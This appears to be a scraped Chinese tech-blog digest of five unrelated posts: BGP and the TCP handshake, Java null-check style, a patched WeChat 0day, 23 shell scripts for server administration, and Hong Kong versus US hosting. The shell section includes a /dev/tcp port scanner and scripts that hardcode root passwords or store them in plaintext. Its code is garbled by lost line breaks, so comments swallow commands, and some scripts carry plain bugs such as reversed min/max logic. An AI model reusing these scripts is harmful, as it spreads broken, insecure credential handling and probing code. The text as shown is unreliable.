你的意思是BGP可以使用TCP,即使用TCP的封装头,用于封装BGP报文,为何要多此一举使用TCP的三次握手建立连接? 2012年有过类似的困惑。那时Cisco ASR 1000 产品开发一个新的Feature,一种新型的UDP隧道,为了检验其扩展性以及对各种报文的转发性能,需要从隧道的一端(入口)最大限度灌入IP、UDP、TCP流量。然后检查从隧道的另一端(出口)有多少流量流出来了? IP、UDP流量都没有问题,目的IP、目的端口随便填,流量都可以生成并进入隧道。(默认路由) TCP遇到了麻烦,需要提供对方的IP以及端口号。随便填了IP/端口,发现非但没有生成流量,测试仪还报错,提示连接失败。 突然才意识到TCP是基于连接的,只有本端的握手信号(第一次握手),被对方确认且收到对方握手信号(第二次握手),然后本端再确认收到对方握手信号(第三次握手)。 三次握手成功之后,本端才能生成TCP流量报文。可是脚本提供的对端IP、端口号都是不存在的,无法完成三次手,自然无法产生TCP数据流。 难道不能有一种特殊的API接口,只使用TCP的封装,不用建立TCP连接,这样就可以直接灌入TCP流量? 可是测试仪表并没有提供这个特殊的API。于是我就在网络上抓了一个TCP数据包,用脚本修改目的IP、端口号,于是就生成了TCP数据流量。 将生成的TCP流量灌入隧道入口,自然TCP流量从隧道出口流出。这些TCP流量最后到哪里去了? 丢了,它们的使命已经完成。 问题回来,BGP能否模仿我,自己生成TCP报文头,以避免TCP三次握手? 当然可以。 可是BGP自己生成的TCP封装 + BGP 报文,到达对端(Peer)的TCP/IP协议栈,谁来处理呢? 先是IP层来处理,因为二层ether type= 0x0800。 然后TCP来处理,因为IP头 Protocol = 6。 TCP将报文的源IP、目的IP、源端口、目的端口 提取出来,这四个参数输入hash()函数,得到一个hash ID,这个就是TCP连接库里的连接ID。 TCP在自己连接库没有查询到hash ID。TCP认为这是一个新建连接,可是发现报文里并没有SYN标志位,这是非法报文,丢弃并发Reset。 BGP既然选择了TCP做为自己的传输协议(运输供应商),那就把货物全权委托给自己的运输供应商。至于供应商TCP的内部运作方式,是无权干涉的,也是干涉不了的! 就凭TCP可以将字节流可靠按序送达目的地这句承诺,就可以让TCP这家供应商独领风骚多少年!不用TCP,还有更好的选择吗? ...
-
Java项目中存在大量判空代码,怎么解决?
问题 为了避免空指针调用,我们经常会看到这样的语句 if (someobject != null) { someobject.doCalc(); } 最终,项目中会存在大量判空代码,多么丑陋繁冗!如何避免这种情况?我们是否滥用了判空呢? 回答 这是初、中级程序猿经常会遇到的问题。他们总喜欢在方法中返回null,因此,在调用这些方法时,也不得不去判空。另外,也许受此习惯影响,他们总潜意识地认为,所有的返回都是不可信任的,为了保护自己程序,就加了大量的判空。 吐槽完毕,回到这个题目本身,进行判空前,请区分以下两种情况: null 是一个有效有意义的返回值(Where null is a valid response in terms of the contract; and) null是无效有误的(Where it isn’t a valid response.) 你可能还不明白这两句话的意思,不急,继续往下看,接下来将详细讨论这两种情况 先说第2种情况 null就是一个不合理的参数,就应该明确地中断程序,往外抛错误。这种情况常见于api方法。例如你开发了一个接口,id是一个必选的参数,如果调用方没传这个参数给你,当然不行。你要感知到这个情况,告诉调用方“嘿,哥们,你传个null给我做甚"。 相对于判空语句,更好的检查方式有两个 assert语句,你可以把错误原因放到assert的参数中,这样不仅能保护你的程序不往下走,而且还能把错误原因返回给调用方,岂不是一举两得。(原文介绍了assert的使用,这里省略) 也可以直接抛出空指针异常。上面说了,此时null是个不合理的参数,有问题就是有问题,就应该大大方方往外抛。 第1种情况会更复杂一些。 这种情况下,null是个”看上去“合理的值,例如,我查询数据库,某个查询条件下,就是没有对应值,此时null算是表达了“空”的概念。 这里给一些实践建议: 假如方法的返回类型是collections,当返回结果是空时,你可以返回一个空的collections(empty list),而不要返回null.这样调用侧就能大胆地处理这个返回,例如调用侧拿到返回后,可以直接print list.size(),又无需担心空指针问题。(什么?想调用这个方法时,不记得之前实现该方法有没按照这个原则?所以说,代码习惯很重要!如果你养成习惯,都是这样写代码(返回空collections而不返回null),你调用自己写的方法时,就能大胆地忽略判空) 返回类型不是collections,又怎么办呢? 那就返回一个空对象(而非null对象),下面举个“栗子”,假设有如下代码 public interface Action { void doSomething();} public interface Parser { Action findAction(String userInput);} 其中,Parse有一个接口FindAction,这个接口会依据用户的输入,找到并执行对应的动作。假如用户输入不对,可能就找不到对应的动作(Action),因此findAction就会返回null,接下来action调用doSomething方法时,就会出现空指针。 解决这个问题的一个方式,就是使用Null Object pattern(空对象模式) 我们来改造一下 类定义如下,这样定义findAction方法后,确保无论用户输入什么,都不会返回null对象: public class MyParser implements Parser { private static Action DO_NOTHING = new Action() { public void doSomething() { /* do nothing */ } }; public Action findAction(String userInput) { // ... if ( /* we can't find any actions */ ) { return DO_NOTHING; } } } 对比下面两份调用实例 1.冗余: 每获取一个对象,就判一次空 Parser parser = ParserFactory.getParser(); if (parser == null) { // now what? // this would be an example of where null isn't (or shouldn't be) a valid response } Action action = parser.findAction(someInput); if (action == null) { // do nothing} else { action.doSomething(); } 2.精简 ParserFactory.getParser().findAction(someInput).doSomething(); 因为无论什么情况,都不会返回空对象,因此通过findAction拿到action后,可以放心地调用action的方法。扩展一下:Java:如何更优雅的处理空值? 其他回答精选: 如果要用equal方法,请用object<不可能为空>.equal(object<可能为空>)) 例如: 使用 "bar".equals(foo) 而不是 foo.equals("bar") Java8或者guava lib中,提供了Optional类,这是一个元素容器,通过它来封装对象,可以减少判空。不过代码量还是不少。不爽。 如果你想返回null,请停下来想一想,这个地方是否更应该抛出一个异常。 ...
-
微信被爆出存在高危0day漏洞!新版本已修复,看到尽快更新!
微信被国内某安全团队(青藤)爆出,在电脑版微信客户端中捕获到一个高危等级的在野0day漏洞。建议3.2.1.141版本以下的用户立即更新! 此次被爆出的高危0day黑客只需要通过微信发送一个特制web链接,当用户点击链接后,微信电脑(windows)版进程wechatweb.exe会加载shellcode执行,整个过程无文件落地,无新进程产生。 也就是说当你点击了对方准备好的链接后,你就已经中招了而且不会在文件和进程上体现,比较可怕! 安全团队在检测出wechatweb.exe存在内存恶意代码,继而排查出了0day漏洞之后,在第一时间报告腾讯安全应急响应中心并协助其修复漏洞。 截止目前,该漏洞已被修复并发布了更新版本,强烈建议看到此文章的朋友们,如果你的微信电脑版本在3.2.1.141以下,请及时点击设置-关于微信-检查更新,避免因此漏洞产生任何损失! 也可以尽快扩散给身边使用微信电脑版的朋友,减小漏洞威胁! ...
-
23 个非常实用的 Shell 拿来就用脚本实例
为大家整理了23个实例,通过23个实战经典脚本实例,展示了shell脚本编程的实用技术和常见工具用法。大家只需根据自己的需求,将文中这些常见任务和可移植自动化脚本推广应用到其他类似问题上,能解决那些三天两头碰上的麻烦事。 检测两台服务器指定目录下的文件一致性 #!/bin/bash######################################检测两台服务器指定目录下的文件一致性######################################通过对比两台服务器上文件的md5值,达到检测一致性的目的 dir=/data/web b_ip=192.168.88.10 #将指定目录下的文件全部遍历出来并作为md5sum命令的参数,进而得到所有文件的md5值,并写入到指定文件中 find $dir -type f|xargs md5sum > /tmp/md5_a.txt ssh $b_ip "find $dir -type f|xargs md5sum > /tmp/md5_b.txt" scp $b_ip:/tmp/md5_b.txt /tmp #将文件名作为遍历对象进行一一比对for f in `awk '{print 2} /tmp/md5_a.txt'` do#以a机器为标准,当b机器不存在遍历对象中的文件时直接输出不存在的结果if grep -qw "$f" /tmp/md5_b.txt then md5_a=`grep -w "$f" /tmp/md5_a.txt|awk '{print 1}'` md5_b=`grep -w "$f" /tmp/md5_b.txt|awk '{print 1}'` #当文件存在时,如果md5值不一致则输出文件改变的结果if [ $md5_a != $md5_b ] thenecho "$f changed."fielseecho "$f deleted."fidone 定时清空文件内容,定时记录文件大小 #!/bin/bash#################################################################每小时执行一次脚本(任务计划),当时间为0点或12点时,将目标目录下的所有文件内#容清空,但不删除文件,其他时间则只统计各个文件的大小,一个文件一行,输出到以时#间和日期命名的文件中,需要考虑目标目录下二级、三级等子目录的文件################################################################ logfile=/tmp/`date +%H-%F`.log n=`date +%H` if [ $n -eq 00 ] || [ $n -eq 12 ] then#通过for循环,以find命令作为遍历条件,将目标目录下的所有文件进行遍历并做相应操作for i in `find /data/log/ -type f` dotrue > $idoneelsefor i in `find /data/log/ -type f` do du -sh $i >> $logfiledonefi 检测网卡流量,并按规定格式记录在日志中 #!/bin/bash########################################################检测网卡流量,并按规定格式记录在日志中#规定一分钟记录一次#日志格式如下所示:#2019-08-12 20:40#ens33 input: 1234bps#ens33 output: 1235bps######################################################3while : do#设置语言为英文,保障输出结果是英文,否则会出现bug LANG=en logfile=/tmp/`date +%d`.log #将下面执行的命令结果输出重定向到logfile日志中 exec >> $logfile date +"%F %H:%M"#sar命令统计的流量单位为kb/s,日志格式为bps,因此要*1000*8 sar -n DEV 1 59|grep Average|grep ens33|awk '{print $2,"\t","input:","\t",$5*1000*8,"bps","\n",$2,"\t","output:","\t",$6*1000*8,"bps"}' echo "####################"#因为执行sar命令需要59秒,因此不需要sleep done 计算文档每行出现的数字个数,并计算整个文档的数字总数 #!/bin/bash##########################################################计算文档每行出现的数字个数,并计算整个文档的数字总数#########################################################使用awk只输出文档行数(截取第一段) n=`wc -l a.txt|awk '{print $1}'` sum=0 #文档中每一行可能存在空格,因此不能直接用文档内容进行遍历for i in `seq 1 $n` do#输出的行用变量表示时,需要用双引号 line=`sed -n "$i"p a.txt` #wc -L选项,统计最长行的长度 n_n=`echo $line|sed s'/[^0-9]//'g|wc -L` echo $n_n sum=$[$sum+$n_n] doneecho "sum:$sum" 杀死所有脚本 #!/bin/bash################################################################ #有一些脚本加入到了cron之中,存在脚本尚未运行完毕又有新任务需要执行的情况, #导致系统负载升高,因此可通过编写脚本,筛选出影响负载的进程一次性全部杀死。 ################################################################ ps aux|grep 指定进程名|grep -v grep|awk '{print $2}'|xargs kill -9 从FTP服务器下载文件 #!/bin/bashif [ $# -ne 1 ]; then echo "Usage: $0 filename"fi dir=$(dirname $1) file=$(basename $1) ftp -n -v << EOF # -n 自动登录 open 192.168.1.10 # ftp服务器 user admin password binary # 设置ftp传输模式为二进制,避免MD5值不同或.tar.gz压缩包格式错误cd $dir get "$file" EOF 连续输入5个100以内的数字,统计和、最小和最大 #!/bin/bash COUNT=1 SUM=0 MIN=0 MAX=100 while [ $COUNT -le 5 ]; do read -p "请输入1-10个整数:" INT if [[ ! $INT =~ ^[0-9]+$ ]]; then echo "输入必须是整数!" exit 1 elif [[ $INT -gt 100 ]]; then echo "输入必须是100以内!" exit 1 fi SUM=$(($SUM+$INT)) [ $MIN -lt $INT ] && MIN=$INT [ $MAX -gt $INT ] && MAX=$INT let COUNT++ doneecho "SUM: $SUM"echo "MIN: $MIN"echo "MAX: $MAX" 用户猜数字 #!/bin/bash # 脚本生成一个 100 以内的随机数,提示用户猜数字,根据用户的输入,提示用户猜对了,# 猜小了或猜大了,直至用户猜对脚本结束。# RANDOM 为系统自带的系统变量,值为 0‐32767的随机数# 使用取余算法将随机数变为 1‐100 的随机数num=$[RANDOM%100+1]echo "$num" # 使用 read 提示用户猜数字# 使用 if 判断用户猜数字的大小关系:‐eq(等于),‐ne(不等于),‐gt(大于),‐ge(大于等于),# ‐lt(小于),‐le(小于等于)while :do read -p "计算机生成了一个 1‐100 的随机数,你猜: " cai if [ $cai -eq $num ] then echo "恭喜,猜对了" exit elif [ $cai -gt $num ] then echo "Oops,猜大了" else echo "Oops,猜小了" fidone 监测Nginx访问日志502情况,并做相应动作 假设服务器环境为lnmp,近期访问经常出现502现象,且502错误在重启php-fpm服务后消失,因此需要编写监控脚本,一旦出现502,则自动重启php-fpm服务。 #场景:#1.访问日志文件的路径:/data/log/access.log#2.脚本死循环,每10秒检测一次,10秒的日志条数为300条,出现502的比例不低于10%(30条)则需要重启php-fpm服务#3.重启命令为:/etc/init.d/php-fpm restart#!/bin/bash########################################################### #监测Nginx访问日志502情况,并做相应动作 ########################################################### log=/data/log/access.log N=30 #设定阈值while : do #查看访问日志的最新300条,并统计502的次数 err=`tail -n 300 $log |grep -c '502" '` if [ $err -ge $N ] then /etc/init.d/php-fpm restart 2> /dev/null #设定60s延迟防止脚本bug导致无限重启php-fpm服务 sleep 60 fi sleep 10 done 将结果分别赋值给变量 应用场景:希望将执行结果或者位置参数赋值给变量,以便后续使用。 方法1: for i in $(echo "4 5 6"); do eval a$i=$idoneecho $a4 $a5 $a6 方法2:将位置参数192.168.1.1{1,2}拆分为到每个变量 num=0 for i in $(eval echo $*);do #eval将{1,2}分解为1 2 let num+=1 eval node${num}="$i"doneecho $node1 $node2 $node3# bash a.sh 192.168.1.1{1,2} 192.168.1.11 192.168.1.12 方法3: arr=(4 5 6) INDEX1=$(echo ${arr[0]}) INDEX2=$(echo ${arr[1]}) INDEX3=$(echo ${arr[2]}) 批量修改文件名 示例: # touch article_{1..3}.html# ls article_1.html article_2.html article_3.html 目的:把article改为bbs 方法1: for file in $(ls *html); do mv $file bbs_${file#*_} # mv $file $(echo $file |sed -r 's/.*(_.*)/bbs\1/') # mv $file $(echo $file |echo bbs_$(cut -d_ -f2) done 方法2: for file in $(find . -maxdepth 1 -name "*html"); do mv $file bbs_${file#*_} done 方法3: # rename article bbs *.html 把一个文档前五行中包含字母的行删掉,同时删除6到10行包含的所有字母 1)准备测试文件,文件名为2.txt 第1行1234567不包含字母 第2行56789BBBBBB 第3行67890CCCCCCCC 第4行78asdfDDDDDDDDD 第5行123456EEEEEEEE 第6行1234567ASDF 第7行56789ASDF 第8行67890ASDF 第9行78asdfADSF 第10行123456AAAA 第11行67890ASDF 第12行78asdfADSF 第13行123456AAAA 2)脚本如下: #!/bin/bash###############################################################把一个文档前五行中包含字母的行删掉,同时删除6到10行包含的所有字母############################################################## sed -n '1,5'p 2.txt |sed '/[a-zA-Z]/'d sed -n '6,10'p 2.txt |sed s'/[a-zA-Z]//'g sed -n '11,$'p 2.txt #最终结果只是在屏幕上打印结果,如果想直接更改文件,可将输出结果写入临时文件中,再替换2.txt或者使用-i选项 统计当前目录中以.html结尾的文件总大 方法1: # find . -name "*.html" -exec du -k {} \; |awk '{sum+=$1}END{print sum}' 方法2: for size in $(ls -l *.html |awk '{print $5}'); do sum=$(($sum+$size)) doneecho $sum 扫描主机端口状态 #!/bin/bash HOST=$1 PORT="22 25 80 8080"for PORT in $PORT; do if echo &>/dev/null > /dev/tcp/$HOST/$PORT; then echo "$PORT open" else echo "$PORT close" fidone 用shell打印示例语句中字母数小于6的单词 #示例语句:#Bash also interprets a number of multi-character options.#!/bin/bash###############################################################shell打印示例语句中字母数小于6的单词##############################################################for s in Bash also interprets a number of multi-character options. do n=`echo $s|wc -c` if [ $n -lt 6 ] then echo $s fi done 输入数字运行相应命令 #!/bin/bash###############################################################输入数字运行相应命令##############################################################echo "*cmd menu* 1-date 2-ls 3-who 4-pwd 0-exit "while : do#捕获用户键入值 read -p "please input number :" n n1=`echo $n|sed s'/[0-9]//'g` #空输入检测 if [ -z "$n" ] then continue fi#非数字输入检测 if [ -n "$n1" ] then exit 0 fi breakdonecase $n in 1) date ;; 2) ls ;; 3) who ;; 4) pwd ;; 0) break ;; #输入数字非1-4的提示 *) echo "please input number is [1-4]"esac Expect实现SSH免交互执行命令 Expect是一个自动交互式应用程序的工具,如telnet,ftp,passwd等。 需先安装expect软件包。 方法1:EOF标准输出作为expect标准输入 #!/bin/bash USER=root PASS=123.com IP=192.168.1.120 expect << EOF set timeout 30 spawn ssh $USER@$IP expect { "(yes/no)" {send "yes\r"; exp_continue} "password:" {send "$PASS\r"} } expect "$USER@*" {send "$1\r"} expect "$USER@*" {send "exit\r"} expect eof EOF 方法2: #!/bin/bash USER=root PASS=123.com IP=192.168.1.120 expect -c " spawn ssh $USER@$IP expect { \"(yes/no)\" {send \"yes\r\"; exp_continue} \"password:\" {send \"$PASS\r\"; exp_continue} \"$USER@*\" {send \"df -h\r exit\r\"; exp_continue} }" 方法3:将expect脚本独立出来 登录脚本: # cat login.exp#!/usr/bin/expectset ip [lindex $argv 0] set user [lindex $argv 1] set passwd [lindex $argv 2] set cmd [lindex $argv 3] if { $argc != 4 } { puts "Usage: expect login.exp ip user passwd"exit 1 } set timeout 30 spawn ssh $user@$ip expect { "(yes/no)" {send "yes\r"; exp_continue} "password:" {send "$passwd\r"} } expect "$user@*" {send "$cmd\r"} expect "$user@*" {send "exit\r"} expect eof 执行命令脚本:写个循环可以批量操作多台服务器 #!/bin/bash HOST_INFO=user_info.txt for ip in $(awk '{print $1}' $HOST_INFO) do user=$(awk -v I="$ip" 'I==$1{print $2}' $HOST_INFO) pass=$(awk -v I="$ip" 'I==$1{print $3}' $HOST_INFO) expect login.exp $ip $user $pass $1done Linux主机SSH连接信息: # cat user_info.txt 192.168.1.120 root 123456 创建10个用户,并分别设置密码,密码要求10位且包含大小写字母以及数字,最后需要把每个用户的密码存在指定文件中 #!/bin/bash###############################################################创建10个用户,并分别设置密码,密码要求10位且包含大小写字母以及数字#最后需要把每个用户的密码存在指定文件中#前提条件:安装mkpasswd命令###############################################################生成10个用户的序列(00-09)for u in `seq -w 0 09` do #创建用户 useradd user_$u #生成密码 p=`mkpasswd -s 0 -l 10` #从标准输入中读取密码进行修改(不安全) echo $p|passwd --stdin user_$u #常规修改密码 echo -e "$p\n$p"|passwd user_$u #将创建的用户及对应的密码记录到日志文件中 echo "user_$u $p" >> /tmp/userpassword done 监控httpd的进程数,根据监控情况做相应处理 #!/bin/bash################################################################################################################################需求:#1.每隔10s监控httpd的进程数,若进程数大于等于500,则自动重启Apache服务,并检测服务是否重启成功#2.若未成功则需要再次启动,若重启5次依旧没有成功,则向管理员发送告警邮件,并退出检测#3.如果启动成功,则等待1分钟后再次检测httpd进程数,若进程数正常,则恢复正常检测(10s一次),否则放弃重启并向管理员发送告警邮件,并退出检测################################################################################################################################计数器函数 check_service() { j=0 for i in `seq 1 5` do #重启Apache的命令 /usr/local/apache2/bin/apachectl restart 2> /var/log/httpderr.log #判断服务是否重启成功 if [ $? -eq 0 ] then break else j=$[$j+1] fi #判断服务是否已尝试重启5次 if [ $j -eq 5 ] then mail.py exit fi done } while : do n=`pgrep -l httpd|wc -l` #判断httpd服务进程数是否超过500 if [ $n -gt 500 ] then /usr/local/apache2/bin/apachectl restart if [ $? -ne 0 ] then check_service else sleep 60 n2=`pgrep -l httpd|wc -l` #判断重启后是否依旧超过500 if [ $n2 -gt 500 ] then mail.py exit fi fi fi #每隔10s检测一次 sleep 10 done 批量修改服务器用户密码 Linux主机SSH连接信息:旧密码 # cat old_pass.txt 192.168.18.217 root 123456 22 192.168.18.218 root 123456 22 内容格式:IP User Password Port SSH远程修改密码脚本:新密码随机生成 https://www.linuxprobe.com/books #!/bin/bash OLD_INFO=old_pass.txt NEW_INFO=new_pass.txt for IP in $(awk '/^[^#]/{print $1}' $OLD_INFO); do USER=$(awk -v I=$IP 'I==$1{print $2}' $OLD_INFO) PASS=$(awk -v I=$IP 'I==$1{print $3}' $OLD_INFO) PORT=$(awk -v I=$IP 'I==$1{print $4}' $OLD_INFO) NEW_PASS=$(mkpasswd -l 8) # 随机密码 echo "$IP $USER $NEW_PASS $PORT" >> $NEW_INFO expect -c " spawn ssh -p$PORT $USER@$IP set timeout 2 expect { \"(yes/no)\" {send \"yes\r\";exp_continue} \"password:\" {send \"$PASS\r\";exp_continue} \"$USER@*\" {send \"echo \'$NEW_PASS\' |passwd --stdin $USER\r exit\r\";exp_continue} }"done 生成新密码文件: # cat new_pass.txt 192.168.18.217 root n8wX3mU% 22 192.168.18.218 root c87;ZnnL 22 iptables自动屏蔽访问网站频繁的IP 场景:恶意访问,安全防范 1)屏蔽每分钟访问超过200的IP 方法1:根据访问日志(Nginx为例) #!/bin/bash DATE=$(date +%d/%b/%Y:%H:%M) ABNORMAL_IP=$(tail -n5000 access.log |grep $DATE |awk '{a[$1]++}END{for(i in a)if(a[i]>100)print i}') #先tail防止文件过大,读取慢,数字可调整每分钟最大的访问量。awk不能直接过滤日志,因为包含特殊字符。for IP in $ABNORMAL_IP; do if [ $(iptables -vnL |grep -c "$IP") -eq 0 ]; then iptables -I INPUT -s $IP -j DROP fidone 方法2:通过TCP建立的连接 #!/bin/bash ABNORMAL_IP=$(netstat -an |awk '$4~/:80$/ && $6~/ESTABLISHED/{gsub(/:[0-9]+/,"",$5);{a[$5]++}}END{for(i in a)if(a[i]>100)print i}') #gsub是将第五列(客户端IP)的冒号和端口去掉for IP in $ABNORMAL_IP; do if [ $(iptables -vnL |grep -c "$IP") -eq 0 ]; then iptables -I INPUT -s $IP -j DROP fidone 2)屏蔽每分钟SSH尝试登录超过10次的IP 方法1:通过lastb获取登录状态: #!/bin/bash DATE=$(date +"%a %b %e %H:%M") #星期月天时分 %e单数字时显示7,而%d显示07 ABNORMAL_IP=$(lastb |grep "$DATE" |awk '{a[$3]++}END{for(i in a)if(a[i]>10)print i}') for IP in $ABNORMAL_IP; do if [ $(iptables -vnL |grep -c "$IP") -eq 0 ]; then iptables -I INPUT -s $IP -j DROP fidone 方法2:通过日志获取登录状态 #!/bin/bash DATE=$(date +"%b %d %H") ABNORMAL_IP="$(tail -n10000 /var/log/auth.log |grep "$DATE" |awk '/Failed/{a[$(NF-3)]++}END{for(i in a)if(a[i]>5)print i}')"for IP in $ABNORMAL_IP; do if [ $(iptables -vnL |grep -c "$IP") -eq 0 ]; then iptables -A INPUT -s $IP -j DROP echo "$(date +"%F %T") - iptables -A INPUT -s $IP -j DROP" >>~/ssh-login-limit.log fidone 根据web访问日志,封禁请求量异常的IP,如IP在半小时后恢复正常,则解除封禁 #!/bin/bash#####################################################################################根据web访问日志,封禁请求量异常的IP,如IP在半小时后恢复正常,则解除封禁#################################################################################### logfile=/data/log/access.log #显示一分钟前的小时和分钟 d1=`date -d "-1 minute" +%H%M` d2=`date +%M` ipt=/sbin/iptables ips=/tmp/ips.txt block() { #将一分钟前的日志全部过滤出来并提取IP以及统计访问次数 grep '$d1:' $logfile|awk '{print $1}'|sort -n|uniq -c|sort -n > $ips #利用for循环将次数超过100的IP依次遍历出来并予以封禁 for i in `awk '$1>100 {print $2}' $ips` do $ipt -I INPUT -p tcp --dport 80 -s $i -j REJECT echo "`date +%F-%T` $i" >> /tmp/badip.log done } unblock() { #将封禁后所产生的pkts数量小于10的IP依次遍历予以解封 for a in `$ipt -nvL INPUT --line-numbers |grep '0.0.0.0/0'|awk '$2<10 {print $1}'|sort -nr` do $ipt -D INPUT $a done $ipt -Z } #当时间在00分以及30分时执行解封函数if [ $d2 -eq "00" ] || [ $d2 -eq "30" ] then #要先解再封,因为刚刚封禁时产生的pkts数量很少 unblock block else block fi 判断用户输入的是否为IP地址 方法1: #!/bin/bashfunction check_ip(){ IP=$1 VALID_CHECK=$(echo $IP|awk -F. '$1< =255&&$2<=255&&$3<=255&&$4<=255{print "yes"}') if echo $IP|grep -E "^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$">/dev/null; then if [ $VALID_CHECK == "yes" ]; then echo "$IP available." else echo "$IP not available!" fi else echo "Format error!" fi } check_ip 192.168.1.1 check_ip 256.1.1.1 方法2: #!/bin/bashfunction check_ip(){ IP=$1 if [[ $IP =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then FIELD1=$(echo $IP|cut -d. -f1) FIELD2=$(echo $IP|cut -d. -f2) FIELD3=$(echo $IP|cut -d. -f3) FIELD4=$(echo $IP|cut -d. -f4) if [ $FIELD1 -le 255 -a $FIELD2 -le 255 -a $FIELD3 -le 255 -a $FIELD4 -le 255 ]; then echo "$IP available." else echo "$IP not available!" fi else echo "Format error!" fi } check_ip 192.168.1.1 check_ip 256.1.1.1 增加版: 加个死循环,如果IP可用就退出,不可用提示继续输入,并使用awk判断。 #!/bin/bashfunction check_ip(){ local IP=$1 VALID_CHECK=$(echo $IP|awk -F. '$1< =255&&$2<=255&&$3<=255&&$4<=255{print "yes"}') if echo $IP|grep -E "^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$" >/dev/null; then if [ $VALID_CHECK == "yes" ]; then return 0 else echo "$IP not available!" return 1 fi else echo "Format error! Please input again." return 1 fi } while true; do read -p "Please enter IP: " IP check_ip $IP [ $? -eq 0 ] && break || continuedone 一如既往的学习,一如既往的整理,一如即往的分享。感谢支持 ...
-
香港服务器与美国服务器的区别
在租用海外服务器当中,不少用户会选择香港服务器或者美国服务器,这两者有什么区别,分别适合哪些网站。接下来做个简单的分析,希望对大家的选择有所帮助。 一、美国服务器和香港服务器的共同点 美国服务器和香港服务器都可以免备案,都费用低,配置高;言论相对自由,限制很少,稳定性高,具备高防功能。 二、美国服务器和香港服务器的区别 ①香港服务器 香港服务器的地理位置决定了国内访问速度是非常快的,在国内访问香港服务器延迟大概在20-100ms之间,且稳定性好。但香港服务器大多采用的是国际带宽,带宽资源比较小、而且贵。所以现在香港服务器基本都是以3M、5M为主的。如果需要额外增加带宽的话,成本将会高出许多。 香港服务器总体性能配置都是比较高的,对于常见的网站建设都是能够满足。而且售后服务相对之下处理速度会更快些,毕竟没有时差且语言相通。 ②美国服务器 美国地区由于发展多年不仅有用丰富的网络带宽资源,百兆独享带宽往往才数百块,IP资源也是非常丰富。另外因为美国地区服务器软硬件技术发展多年,达到饱和阶段,所以相对性价比非常高 。 美国服务器提供商能够为用户提供众多的独立IP,独立IP对于网站的运营与优化都是非常有利的。 而且美国服务器的稳定性是相当高的,机房一般都具有严格的制度,毕竟美国是全球互联网的发源地,软硬件技术已经达到世界顶点水平,机房的配备完善,服务器工作人员专业性高,大多数的美国服务器提供商都保证99.9%在线率。但是相对于香港服务器,国内访问就会慢很多,在国内访问美国服务器延迟就会达到150-180ms之间! 用户如果想租用防御高、抗攻击、抗DDoS攻击类服务器的话,虽然香港服务器也有高防,但不妨试试美国硬防服务器,这类攻击都是需要足够的资源作为支撑来防御的。 三、美国服务器和香港服务器哪个好 如果你的用户群体是国内地区的话,当然是香港服务器快了,香港离内陆比较近,有先天的地理优势,国内地区的人群访问网站速度会比较快,国外的人群就相对较慢一些。如果你的用户群体是国外地区的话,美国服务器比香港服务器快,美国服务器在全球范围内访问都比较快,在欧美速度更快。如果你的网站或服务器经常被攻击(DDOS)还是建议拿美国服务器好些,美国的机房有充足的硬件支持抵抗攻击,而香港的没有,香港服务器被攻击多次会被回收。 ...